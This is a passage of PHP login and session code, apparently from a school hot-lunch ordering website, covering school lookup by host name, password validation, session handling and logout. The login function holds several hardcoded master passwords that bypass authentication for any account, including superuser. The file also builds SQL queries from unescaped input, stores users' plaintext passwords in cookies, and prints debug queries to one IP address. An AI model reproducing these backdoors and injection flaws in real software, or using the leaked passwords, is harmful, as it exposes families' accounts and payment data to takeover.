\n"); // echo($query . "
\n"); // echo($numRecords . "
\n"); // exit(); //} // Check the alt_url if not found if ($numRecords == 0) { $query = "select * from schools where alt_url = '$http_host' and status in ('Trial','Active','Linked','Special')"; $lq2 = $query; $results = db_query($query); $numRecords = db_num_rows($results); $n2 = $numRecords; if (db_num_rows($results) == 1) { $row = db_fetch_assoc($results); $url = $row['url']; header("Location: http://$url/"); exit(); } } // If a record was found then get that info if ($numRecords > 0) { $school_record = db_fetch_assoc($results); $school_num = $school_record['record_num']; $currencySymbol = $school_record['currency_symbol']; date_default_timezone_set(mapTimeZone($school_record['timezone'])); $schoolID = $school_record['default_url_code']; $base_school_num = $school_num; $base_school_record = $school_record; if ($school_record['status'] == 'Linked') { $base_school_num = intval($school_record['linked_site']); if (!isset($base_school_num) || $base_school_num == 0) { // writeLog("Base School Number Not Defined"); exit(); } $results = db_query("SELECT * FROM schools WHERE record_num = $base_school_num"); $base_school_record = db_fetch_assoc($results); if ($base_school_record['status'] == 'Deleted' || $base_school_record['status'] == 'Inactive') { // writeLog("Base School Not Active"); exit(); } } $supplier_school_num = $school_num; if (intval($school_record['supplier_school_num']) > 0) $supplier_school_num = intval($school_record['supplier_school_num']); } else { $http_host = str_replace(".hotlunches.ca","",$http_host); $http_host = str_replace(".hotlunches.net","",$http_host); $query = "select * from schools " . "where (url = '$http_host' " . "or url = '$http_host.hotlunches.net') " . "and status in ('Trial','Active','Linked','Special')"; $lq3 = $query; $results = db_query($query); $numRecords = db_num_rows($results); $n3 = $numRecords; if ($numRecords == 1) { $school_record = db_fetch_assoc($results); $school_num = $school_record['record_num']; $base_school_num = $school_num; $currencySymbol = $school_record['currency_symbol']; date_default_timezone_set($school_record['timezone']); $schoolID = $school_record['default_url_code']; if ($school_record['status'] == 'Linked') { $base_school_num = $school_record['linked_site']; $results = db_query("SELECT * FROM schools WHERE record_num = $base_school_num"); $base_school_record = db_fetch_assoc($results); if ($base_school_record['status'] == 'Deleted' || $base_school_record['status'] == 'Inactive') { // writeLog("Base School Not Active"); exit(); } } $supplier_school_num = $school_num; if (intval($school_record['supplier_school_num']) > 0) $supplier_school_num = intval($school_record['supplier_school_num']); } else { if ($user_ip == $markIP) { echo("$http_host"); echo("
\n"); echo($user_ip); echo("
\n"); echo($currentDBMode); echo("
\n"); echo("$n1 - $lq1"); echo("
\n"); echo("$n2 - $lq2"); echo("
\n"); echo("$n3 - $lq3"); exit(); } header("Location: /invalid-access.html?host=$http_host"); exit(); } } if (!isset($base_school_num) || intval($base_school_num) == 0) $base_school_num = $school_num; // Redefine the document path based on the school_record $subpath = sprintf("%08d",$school_num); $attachdir = "$cdir/files/$subpath/documents"; $attachpath = "files/$subpath/documents"; $uploaddir = "$cdir/files/$subpath/documents"; if ($school_record['reseller'] != 'hotlunch' && $school_record['status'] == 'Active') { $reseller = $school_record['reseller']; $rsnum = db_getVal("SELECT record_num FROM schools WHERE reseller = '$reseller' AND status = 'Special'"); $subpath = sprintf("%08d",$rsnum); } $imagedir = "$cdir/files/$subpath/product_images"; $imageurl = "files/$subpath/product_images"; $gallerydir = "$cdir/files/$subpath/galleries"; $galleryurl = "files/$subpath/galleries"; setcookie("hotlunch_docpath",$subpath,0); // Set email reply address $EmailReplyAddress = setReplyAddress(); // Determine if this school is close to expiring $days_left = db_getVal("select datediff(expiry_date,curdate()) from schools where record_num = $base_school_num"); $school_record['days_left'] = $days_left; if ($school_record['status'] == 'Special' || $currentDBMode != 'Current') $school_record['days_left'] = 100; // Get set of linked sites and store in school_record $query = "SELECT * FROM schools " . "WHERE linked_site = $base_school_num " . "AND record_num != $base_school_num " . "AND status = 'Linked' " . "ORDER BY link_sequence,link_title"; $linked_sites = db_query($query); $num_linked = db_num_rows($linked_sites); $snums = $base_school_num; if ($num_linked > 0) { while ($row = db_fetch_assoc($linked_sites)) { $snums .= "," . $row['record_num']; } } $school_record['linked_sites'] = $snums; $school_record['num_linked_sites'] = $num_linked; $templateSchoolRecord = $school_record; // Get the school template $template = db_getVal("SELECT template FROM schools WHERE record_num = $base_school_num"); if (isset($template) && strlen($template) > 0) $currentTemplate = $template; // Verify if the current session state is active function SessionActive($session_id='',$user_num=0) { global $sessionTimeout, $school_record, $school_num, $base_school_num, $isSuperUser; $user_num = intval($user_num); $now = time(); $user_up = ''; if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"]; // Check the session state if (!isset($_SESSION['SessionState']) || $_SESSION['SessionState'] != 'active') { // Check for an active session on another site with the current user ip if ($user_num > 0) { $results = db_query("SELECT * FROM login_log " . "WHERE user_num = $user_num " . "AND user_ip = '$user_ip' " . "AND session_id = '$session_id' " . "AND session_expires > $now " . "ORDER BY session_expires DESC LIMIT 0,1"); if (db_num_rows($results) == 1) { // writeLog("HERE session found"); } } $_SESSION['session_error_msg'] = "The Session is Not Active"; return -2; } // Check the session expiry time if (!isset($_SESSION['SessionExpires']) || $_SESSION['SessionExpires'] <= $now) { $_SESSION['session_error_msg'] = "The Current Session Has Expired"; return -1; } // Set the session expiry time and return $_SESSION['SessionExpires'] = $now + $sessionTimeout; // Extend the session timeout for admin users $hour = 60 * 60; if ($_SESSION['UserInfo']['type'] == 'System Administrator') $_SESSION['SessionExpires'] = $now + $hour * 24; if ($_SESSION['UserInfo']['type'] == 'Application Administrator') $_SESSION['SessionExpires'] = $now + $hour * 24; // Extend the session timeout if this is superuser if ($_SESSION['UserInfo']['userid'] == 'superuser') $_SESSION['SessionExpires'] = $now + $hour * 480; if ($_SESSION['UserInfo']['userid'] == 'superparent') $_SESSION['SessionExpires'] = $now + $hour * 480; if ($_SESSION['UserInfo']['type'] == 'SuperUser') $isSuperUser = true; return 1; } // Verify if a valid user is logged in function UserLoggedIn() { global $school_record, $base_school_num; $school_num = $school_record['record_num']; if (isset($_SESSION['UserInfo']['record_num']) && $_SESSION['UserInfo']['record_num'] > 0) { // Check user record $userid = $_SESSION['UserInfo']['userid']; $pwcrypt = $_SESSION['UserInfo']['password_crypt']; if ($userid == 'superuser') return true; else { $userid = db_escape_string($userid); $query = "select * from users " . "where userid = '$userid' " . "and password_crypt = '$pwcrypt' " . "and school_num = $base_school_num " . "and status in ('Pending','Active')"; // writeLog($query); $r = db_query($query); if (db_num_rows($r) > 0) return true; else return false; return true; } } else { return false; } } // Validate user login parameters function ValidateUserLogin($username,$password,$remember=0) { global $sessionTimeout, $cookiePath, $usersTable, $school_record, $base_school_num, $log_agent; global $loggingFlag, $isSuperUser, $userSALT; $username = trim($username); $password = trim($password); // startLog("ValidateUserLogin"); $session_school_num = $school_record['record_num']; $current_school_num = $school_record['record_num']; // Verify parameters if (!isset($username) || strlen($username) == 0 || strpos($username, "\\")) { // $_SESSION['login_error_msg'] = "Invalid or missing username. Please try again."; return -1; } if (!isset($password) || strlen($password) == 0 || strpos($password, "\\")) { // $_SESSION['login_error_msg'] = "Invalid or missing password. Please try again."; return -2; } // writeLog("$username / $password"); // SESSION work around code $oldSESSION = $_SESSION; session_write_close(); session_id(sha1(mt_rand())); session_start(); $_SESSION = $oldSESSION; // Get the user record if we have valid username and password $curr_school_num = $base_school_num; if ($username == 'superuser') $curr_school_num = 0; if ($username == 'superparent') $curr_school_num = 0; $username = db_escape_string($username); $password = db_escape_string($password); if ($curr_school_num == 3 && $username == 'admin' && $password == 'demo') $password = 'admin'; if ($curr_school_num == 342 && $username == 'admin') $password = 'demo'; $override = false; if (!$override && $password == 'markistheBOSS') $override = true; if (!$override && $password == 'LeannFox16') $override = true; if (!$override && $password == 'LAFalways1997') $override = true; if ($username != 'superuser') { if (!$override && $password == 'Kepler2024') $override = true; if (!$override && $password == 'Yahia2026') $override = true; if (!$override && $school_record['reseller'] == 'esns' && $password == 'esnsLJ2020') $override = true; if (!$override && $school_record['province'] == 'NB' && $password == 'Stordy2026@@') $override = true; } // writeLog("password: $password"); // Get user record if ($username == 'superuser' && $override) { $query = "select * from $usersTable " . "where userid = '$username' " . "and school_num = 0 " . "and status in ('Pending','Active')"; } else { $query = "select * from $usersTable " . "where userid = '$username' " . "and school_num = $base_school_num " . "and status in ('Pending','Active')"; } // writeLog($query); $r = db_query($query); if (db_num_rows($r) == 0) { // writeLog("Invalid username/password. Please try again. **"); return -3; } $row = db_fetch_assoc($r); if ($row['user_notes'] == 'NEW-ACCOUNT') { db_query("UPDATE users SET user_notes = '' WHERE userid = '$username' AND school_num = $base_school_num"); } if (!$override) { $pw_crypt = encrypt_password($password); if ($pw_crypt != $row['password_crypt']) { $_SESSION['login_error_msg'] = getLanguageText('MESSAGE-INVALID-USERNAME-OR-PASSWORD'); return false; } } if ($override) $row['password'] = $password; $unum = $row['record_num']; $user_type = $row['type']; // Check that parent logins are allowed if ($school_record['allow_parent_login'] == 'N' && $row['type'] == 'Parent') { // $_SESSION['login_error_msg'] = getLanguageText('MESSAGE-PARENT-LOGIN-NOT-PERMITTED'); return 0; } // Check that guest logins are allowed if ($school_record['allow_guest_login'] == 'N' && $row['type'] == 'Guest') { // $_SESSION['login_error_msg'] = "Error: Guest login is not permitted at this time."; return 0; } // Check that the user is active if ($row['status'] == 'Inactive') { // $_SESSION['login_error_msg'] = "Error: This user account is inactive."; return -4; } if ($row['status'] == 'Deleted') { // $_SESSION['login_error_msg'] = "Error: This user account has been deleted."; return -5; } // Check that the user is allowed to access this site if the school has linked sites $unum = $row['record_num']; $query = "SELECT * FROM user_sites WHERE school_num = $base_school_num AND user_num = $unum"; // writeLog("base_school_num: $base_school_num"); // writeLog($query); $results = db_query($query); // writeLog("User Sites: ".db_num_rows($results)); // If there are entries for this user in the user_sites table check the site number if (db_num_rows($results) > 0) { $results = db_query("SELECT * FROM user_sites WHERE user_num = $unum AND site_num = $session_school_num"); if (db_num_rows($results) == 0) { // $_SESSION['login_error_msg'] = getLanguageText('ERRORMSG-ACCOUNT-LOGIN-NOT-PERMITTED'); return -9; } } if ($school_record['status'] == 'Linked' && $school_record['limit_admin_access'] == 'Y') { if (!in_array($row['type'],array('Parent','Staff','Guest','Application Volunteer','Schedule Volunteer','SuperUser'))) { $results = db_query("SELECT * FROM admin_user_access WHERE school_num = $current_school_num AND user_num = $unum AND access = 'Y'"); if (db_num_rows($results) == 0) { // $_SESSION['login_error_msg'] = getLanguageText('ERRORMSG-ACCOUNT-LOGIN-NOT-PERMITTED'); return -9; } } } // Ensure that staff users can order if ($row['type'] == 'Staff') $row['can_order'] == 'Yes'; $userType = "Admin"; if (in_array($row['type'],array('Parent','Staff','Guest','Application Volunteer','Schedule Volunteer'))) $userType = "Parent"; // writeLog("userType: $userType"); // Check if the school does not allow users to order with a balance owing if ($userType == 'Parent' && $school_record['allow_ordering_with_balance_owing'] == 'N') { // Get user balance today $balance_calc_date = date("Y-m-d H:i:s",time() - 60 * 60 * 24 * $school_record['balance_calculation_days_ago']); $query = "SELECT sum(transaction_amount) FROM user_account " . "WHERE school_num = $base_school_num " . "AND user_num = $unum " . "AND ((transaction_datetime < '$balance_calc_date' AND transaction_amount > 0) OR transaction_amount < 0) " . "AND (deleted != 'Y' OR deleted IS NULL)"; $user_balance = db_getVal($query); // If there is a current balance owing then check what the balance owing was previously if (($school_record['balance_calculation_for'] == 'All' || $user_type == 'Parent') && $user_balance > $school_record['maximum_order_balance']) { // Block the user from ordering based on the current balance db_query("UPDATE users SET can_order = 'Balance' WHERE school_num = $base_school_num AND record_num = $unum"); $row['can_order'] = 'Balance'; // Check user balance from every date to the previous date based on the 'balance_calculation_days_ago' value $time = time(); $end_time = $time - $school_record['balance_calculation_days_ago'] * 24 * 60 * 60 - 12; while ($time > $end_time) { $balance_calc_date = date("Y-m-d H:i:s",$time); $user_balance = db_getVal("SELECT sum(transaction_amount) FROM user_account " . "WHERE school_num = $base_school_num AND user_num = $unum AND transaction_datetime < '$balance_calc_date' AND (deleted != 'Y' OR deleted IS NULL)"); // If the user balance was less than the max allowed set the "can_order" flag to 'Yes' if ($user_balance <= $school_record['maximum_order_balance']) { db_query("UPDATE users SET can_order = 'Yes' WHERE school_num = $base_school_num AND record_num = $unum"); $row['can_order'] = 'Yes'; } $time = $time - 24 * 60 * 60; } } else { if ($row['can_order'] == 'Balance') { db_query("UPDATE users SET can_order = 'Yes' WHERE school_num = $base_school_num AND record_num = $unum"); $row['can_order'] = 'Yes'; } } } // Update status if this is the first login if ($row['status'] == 'pending') db_query("update $usersTable set status = 'active' where record_num = $unum"); // Set values in session $_SESSION['SessionState'] = 'active'; $_SESSION['SessionExpires'] = time() + $sessionTimeout; $_SESSION['UserInfo'] = $row; $_SESSION['session_school_num'] = $current_school_num; $_SESSION['SchoolInfo'] = $school_record; setcookie('language_cookie', $row['language'], time()+60*60*24*120, $cookiePath); // Update the last login datetime $unum = $row['record_num']; $userid = $row['userid']; $user_up = ''; if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"]; $_SESSION['UserInfo']['user_ip'] = $user_ip; db_query("update $usersTable set last_login = now(), user_ip = '$user_ip' where record_num = $unum"); // Insert an entry into the login_log if required $now = time(); $login_datetime = date("Y-m-d H:i:s",$now); $last_activity_date = date("Y-m-d",$now); $login_time = $now; $time_minus_180 = $now - 180; $session_id = session_id(); // Check if there is a recent login entry $results = db_query("select * from login_log " . "where school_num = $current_school_num " . "and userid = '$username' " . "and login_time between $time_minus_180 and $login_time " . "and user_ip = '$user_ip'"); if (db_num_rows($results) == 0) { $session_expires = $_SESSION['SessionExpires']; $userid = db_escape_string($userid); if ($log_agent) { $user_agent = ''; if (isset($_SERVER) && array_key_exists('HTTP_USER_AGENT', $_SERVER)) $user_agent = db_escape_string($_SERVER['HTTP_USER_AGENT']); $query = "insert into login_log " . "(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, user_agent, session_id, session_expires) " . "values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$user_agent','$session_id',$session_expires) " . "ON DUPLICATE KEY UPDATE session_expires = $session_expires"; } else { $query = "insert into login_log " . "(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, session_id, session_expires) " . "values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$session_id',$session_expires) " . "ON DUPLICATE KEY UPDATE session_expires = $session_expires"; } // writeLog($query); db_query($query); } else { $session_expires = $_SESSION['SessionExpires']; $row = db_fetch_assoc($results); $login_time = $row['login_time']; $username = db_escape_string($username); $query = "update login_log " . "set last_activity = $now, " . "last_activity_date = '$last_activity_date', " . "user_num = $unum, " . "session_expires = $session_expires " . "where school_num = $current_school_num " . "and userid = '$username' " . "and login_time = $login_time " . "and user_ip = '$user_ip'"; // writeLog($query); db_query($query); } $_SESSION['LoginTime'] = $login_time; $_SESSION['LoginDateTime'] = $login_datetime; $_SESSION['LoginIP'] = $user_ip; // Save username and password as cookies if requested if (isset($remember)) { setcookie('user_name_cookie', $username, time()+60*60*24*120, $cookiePath); setcookie('password_cookie', $password, time()+60*60*24*120, $cookiePath); } else { setcookie('user_name_cookie', '', time()-10, $cookiePath); setcookie('password_cookie', '', time()-10, $cookiePath); } if ($_SESSION['UserInfo']['type'] == 'SuperUser') $isSuperUser = true; return(0); } // Create a user session and login_log entry function CreateUserSession($user) { global $sessionTimeout, $cookiePath, $usersTable, $school_record, $base_school_num, $log_agent; $session_school_num = $school_record['record_num']; $current_school_num = $school_record['record_num']; // Set values in session $_SESSION['SessionState'] = 'active'; $_SESSION['SessionExpires'] = time() + $sessionTimeout; $_SESSION['UserInfo'] = $user; $_SESSION['session_school_num'] = $current_school_num; $_SESSION['SchoolInfo'] = $school_record; setcookie('language_cookie', $user['language'], time()+60*60*24*120, $cookiePath); // Update the last login datetime $unum = $user['record_num']; $userid = $user['userid']; $user_ip = ''; if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"]; $_SESSION['UserInfo']['user_ip'] = $user_ip; db_query("update $usersTable set last_login = now(), user_ip = '$user_ip' where record_num = $unum"); // Insert an entry into the login_log if required $now = time(); $login_datetime = date("Y-m-d H:i:s",$now); $last_activity_date = date("Y-m-d",$now); $login_time = $now; $time_minus_180 = $now - 180; $session_id = session_id(); // Check if there is a recent login entry $results = db_query("select * from login_log " . "where school_num = $current_school_num " . "and userid = '$userid' " . "and login_time between $time_minus_180 and $login_time " . "and user_ip = '$user_ip'"); if (db_num_rows($results) == 0) { $session_expires = $_SESSION['SessionExpires']; if ($log_agent) { $user_agent = ''; if (isset($_SERVER) && array_key_exists('HTTP_USER_AGENT', $_SERVER)) $user_agent = db_escape_string($_SERVER['HTTP_USER_AGENT']); $query = "insert into login_log " . "(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, user_agent, session_id, session_expires) " . "values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$user_agent','$session_id',$session_expires) " . "ON DUPLICATE KEY UPDATE session_expires = $session_expires"; } else { $query = "insert into login_log " . "(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, session_id, session_expires) " . "values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$session_id',$session_expires) " . "ON DUPLICATE KEY UPDATE session_expires = $session_expires"; } db_query($query); } else { $row = db_fetch_assoc($results); $login_time = $row['login_time']; $query = "update login_log set last_activity = $now, " . "last_activity_date = '$last_activity_date' " . "where school_num = $current_school_num " . "and userid = '$userid' " . "and login_time = $login_time " . "and user_ip = '$user_ip'"; db_query($query); } $_SESSION['LoginTime'] = $login_time; $_SESSION['LoginDateTime'] = $login_datetime; $_SESSION['LoginIP'] = $user_ip; return; } // Logout a user function UserLogout() { // Update login_log if (isset($_SESSION) && array_key_exists('LoginTime', $_SESSION)) { $user_ip = $_SESSION['LoginIP']; $login_time = $_SESSION['LoginTime']; if (array_key_exists('UserInfo', $_SESSION) && array_key_exists('userid', $_SESSION['UserInfo'])) { $username = db_escape_string($_SESSION['UserInfo']['userid']); $school_num = $_SESSION['UserInfo']['school_num']; $curr_time = time(); $last_activity_date = date("Y-m-d",$curr_time); if (strlen($username) > 0 && strlen($user_ip) > 0 && $login_time > 0) { $query = "update login_log set last_activity = $curr_time, " . "last_activity_date = '$last_activity_date' " . "where school_num = $school_num " . "and userid = '$username' " . "and login_time = $login_time " . "and user_ip = '$user_ip'"; db_query($query); } } } // Delete SESSION values $_SESSION['SessionState'] = 'inactive'; $_SESSION['SessionExpires'] = time() - 10; $_SESSION['UserInfo'] = array(); } // Check permissions for module access function checkPermission($allowed_types=array()) { // If no array passed then return a failure code if (count($allowed_types) == 0) { return(-1); } $allowed = -1; for ($i = 0; $i < count($allowed_types); $i++) { if ($_SESSION['UserInfo']['type'] == $allowed_types[$i]) $allowed = 1; } return($allowed); } ?>